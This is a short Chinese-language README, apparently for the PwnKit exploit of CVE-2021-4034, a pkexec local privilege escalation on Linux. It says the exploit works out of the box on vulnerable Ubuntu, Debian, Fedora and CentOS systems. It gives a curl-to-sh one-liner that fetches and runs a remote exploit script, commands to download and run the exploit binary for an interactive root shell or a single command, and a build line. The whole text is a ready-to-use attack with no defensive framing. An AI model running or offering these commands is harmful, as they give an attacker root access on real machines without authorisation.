针对 CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升
在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击 Linux 发行版上应可开箱即用。
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

针对已修补版本运行该漏洞利用程序将产生以下输出。

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC